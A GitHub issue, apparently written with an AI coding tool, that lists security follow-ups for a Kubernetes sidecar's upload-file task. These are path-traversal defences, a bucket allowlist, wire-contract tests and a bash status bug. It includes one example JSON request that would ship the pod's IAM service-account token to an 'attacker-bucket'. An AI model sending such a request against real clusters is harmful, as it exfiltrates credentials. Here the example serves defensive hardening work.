upload-file task: harden against path traversal, arbitrary buckets, and pin wire-contract

[bdchatham]

The upload-file sidecar task shipped in #136 covers the immediate need for fork-genesis (controller's seid container POSTs over localhost). Coral cross-review surfaced four follow-ups that don't gate fork-genesis but do harden the task before it gains additional callers.

1. Path traversal (security-specialist BLOCKER, deferred to here)

sidecar/tasks/upload_file.go::Run opens any caller-supplied req.File with os.Open. The sidecar HTTP API binds to 0.0.0.0:7777 and there are no NetworkPolicies in the cluster today (the LLD §A6 acknowledges the deferred API auth fix), so any pod that can route to a sei-node pod's IP can submit:

{"file":"/var/run/secrets/eks.amazonaws.com/serviceaccount/token","bucket":"attacker-bucket","key":"...","region":"..."}

— exfiltrating the IAM Pod Identity token (or priv_validator_key.json, or anything else the sidecar UID can read) to an attacker-controlled bucket if IAM policy permits.

Defenses to add:

• req.File must resolve via filepath.EvalSymlinks to an absolute path under homeDir (/sei). Reject otherwise.
• Open with os.O_RDONLY|syscall.O_NOFOLLOW to close the TOCTOU window between resolve and open.
• Reject non-regular files (info.Mode().IsRegular() after f.Stat()).
• Bound file size at ~100 GiB so a misconfigured caller can't ship the entire data PVC.
• Constructor takes a homeDir argument so the task can enforce the prefix.

2. Arbitrary S3 destination

req.Bucket, req.Key, req.Region are caller-controlled. With over-broad IAM, a caller can choose where the upload lands.

Defenses to add:

• Constructor takes a buckets map[string]string (bucket → region) allowlist.
• req.Bucket must be in the allowlist; region is looked up from the map.
• Drop Region from UploadFileRequest — caller has no business choosing it. (Wire change — coordinate with PR-2's bash and the client helper in feat(client): add UploadFileTask helper #138.)

3. Engine wire-contract pinning (kubernetes-specialist nit)

TaskResult JSON tags (id, status, error) and TaskStatus string values (completed, failed) are part of the wire contract PR 2's seid-container bash will grep-parse. A future rename here would silently break the bash poll loop.

Defenses to add:

• A test in sidecar/engine/types_test.go asserting TaskResult field tags are exactly id, status, error.
• Asserting string(TaskStatusCompleted) == "completed" and string(TaskStatusFailed) == "failed".

4. LLD §A5 bash bug — complete) should be completed)

The bash sketch at https://github.com/sei-protocol/sei-k8s-controller/blob/main/docs/design-fork-genesis-export-job-lld.md (§A5, around line 168) does:

case "$STATUS" in
    complete) exit 0 ;;
    ...

But engine.TaskStatusCompleted = "completed". The poll loop will never match success and the seid container will hang until Pod TTL kills it. Fix in PR 2 (internal/task/export/resources.go bash const) and the LLD itself.

Out of scope (real fix lives elsewhere)

• Sidecar HTTP API auth. The "any pod in cluster can hit this" baseline is a sidecar-wide problem, not specific to upload-file. Real fix is mTLS or a shared-secret header touching every task — own follow-up.

References

• Cross-reviewers: kubernetes-specialist, security-specialist, platform-engineer (against feat(sidecar): add upload-file task; fix snapshot-upload constructor hang #136).
• Original PR: feat(sidecar): add upload-file task; fix snapshot-upload constructor hang #136
• LLD: https://github.com/sei-protocol/sei-k8s-controller/blob/main/docs/design-fork-genesis-export-job-lld.md

🤖 Generated with Claude Code